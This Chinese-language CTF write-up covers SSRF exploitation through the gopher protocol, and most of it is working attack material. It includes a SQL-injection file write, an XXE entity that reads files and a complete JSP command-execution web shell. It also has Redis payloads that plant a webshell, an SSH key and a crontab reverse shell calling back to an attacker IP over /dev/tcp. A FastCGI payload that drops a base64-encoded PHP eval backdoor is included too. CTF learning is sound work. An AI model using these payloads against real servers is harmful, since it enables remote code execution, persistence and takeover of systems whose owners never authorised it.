SSRF

安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 <PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
对应十六进制 PHP payload 已替换为 <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>
文中的危险脚本文件名发布时统一改为 output.txt,避免触发杀软或被误用为可执行脚本。

SSRF

信息收集

获取主机名

1
file:///etc/hosts

pasted image 20260316181233


http://172.250.250.3?id=1'%2520union%2520select%2520NULL,NULL,NULL,’‘%2520INTO%2520DUMPFILE%2520’/var/www/html/output.txt’–%2520

gopher协议

GET

pasted image 20260313115858

post

四个必须的参数即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=21ef36770f67a6ddf8809c5f14ab557f

1.url路径编码
2.二次编码,同时将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节
3.最终完整url

1
http://challenge-2cc48a18335efbf5.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D21ef36770f67a6ddf8809c5f14ab557f

gopher协议记得在目标ip地址即host后面加一个占位符,不然会被吞掉第一个字符,推荐使用_
{下划线}

SSRF之XXE

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

将其附加至正常抓包页面下同时删去 Accept-Encoding 这一行,再将整体进行双重url编码
接着构造gopher协议即可

SSRF之SQL注入

pasted image 20260313124816
再将ip后两次url编码

SSRF之mysql

1
2
3
python2 gopherus.py --exploit mysql  #启动 Gopherus 工具
Give MySQL username: root
Give query to execute: select * from security.users #**执行的 SQL 语句**

pasted image 20260313131110
结果

1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01

SSRF之tomcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

将其附加至你的抓包页面下,同时再将整体进行双重url编码
接着构造gopher协议即可
pasted image 20260314131310

pasted image 20260314131324

redis

未授权webshell写入

1.虚拟机kali中

  • cd ~/桌面/Gopherus
  • 启动攻击模块:python2 gopherus.py –exploit redis
  • 第一行输入攻击类型:PHPShell:生成一个 PHP WebShell 文件
  •                              ReverseShell:生成一个直接反弹 Shell 的 payload
    
  • 第二行输入路径:这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置,需根据目标服务器的 Web 目录结构或可利用路径填写,才能让后续的恶意文件被有效访问和执行
  •                           /var/www/html
    
  • 第三行输入 WebShell 内容:<?=$_GET[1]?>Gopherus 会自动将 dbfilename(Redis 持久化文件名)设置为 output.txt,配置完毕后Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷pasted image 20251212174234
    2.再次编码后附加到url,显示此页面为504,没有关系,执行这段payload的目标就是在服务器根目录上传木马output.txt
    pasted image 20251212174301
    3.列出目录
    pasted image 20251212174631
    4.获取flag
    pasted image 20251212174805
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
*1
$7
COMMAND
*4
$6
CONFIG
$3
SET
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$10
dbfilename
$8
info.php
*3
$3
set
$7
payload
$19
<?php phpinfo(); ?>
*1
$4
save

每行都是以 \r 结尾的,但是 Redis 的协议是以 CRLF (\r\n) 结尾,所以转换的时候需要把 \r 转换为 \r\n,然后其他全部进行 两次 URL 编码

redis未授权ssh公钥写入

1.生成公钥

1
ssh-keygen -t rsa

pasted image 20260316191329
2.构造,将密钥写入payload(记得前后各加两行换行以排除其他因素的干扰,同时长度记得加4)同时修改文件名和路径(要拥有root权限,不然写入不了)
最后记得修改长度
pasted image 20260316190803
3.通过ssrf提交后重新登陆靶机发现不在需要密码了
pasted image 20260316191858

定时任务反弹shell

1
ip add #查看kali ip地址,我的是172.28.121.48

pasted image 20260316193056
1.

1
python2 gopherus.py --exploit redis

启动攻击
2.选择Reverseshell
pasted image 20260316193427
3.填写ip
pasted image 20260316194412

1
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.28.121.48/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

接着监听端口

1
2
nc -lvp 1234

在靶场修改主机名发送即可
pasted image 20260316194940

FastCGL协议

1.在虚拟机kali中打开终端

  • 命令行下载:git clone https://github.com/tarunkant/Gopherus.git
  • cd ~/桌面/Gopherus
  • 启动攻击模块:python2 gopherus.py –exploit fastcgi 
  • 第一行输入路径:启动 Gopherus 的 FastCGI 攻击模块后,工具会提示输入目标服务器上存在的 PHP 文件路径,输入之前获取的 PHP 文件路径,我们这里选中网站根目录下的index.php文件,路径如下为/var/www/html/index.php,这里通常选择网址中存在的文件
  • 第二行输入要执行的命令:接下来工具提示输入要执行的命令,这是可以选择ls /或cat /flag等,工具会根据输入生成相应的 Gopher 协议有效载荷。我们这里选择使用在根目录上传木马文件ljn.php,如下 echo PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8+ | base64 -d >/var/www/html/ljn.php ————把编码后的一句话木马写到名为ljn.php的文件中
  • 得到gopher:%2F%2F127.0.0.1:9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH137%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2589%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fljn.php%2527%2529%253Bdie%2528%2527—–Made-by-SpyD3r—–%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
    2.在浏览器中将其附加在url后面
    3.列出目录
    pasted image 20251212093511
    4.获取flag
    pasted image 20251212093613
文章目录
  1. 1. SSRF
    1. 1.1. 信息收集
    2. 1.2. gopher协议
      1. 1.2.1. GET
      2. 1.2.2. post
    3. 1.3. SSRF之XXE
    4. 1.4. SSRF之SQL注入
    5. 1.5. SSRF之mysql
    6. 1.6. SSRF之tomcat
    7. 1.7. redis
      1. 1.7.1. 未授权webshell写入
      2. 1.7.2. redis未授权ssh公钥写入
      3. 1.7.3. 定时任务反弹shell
    8. 1.8. FastCGL协议
|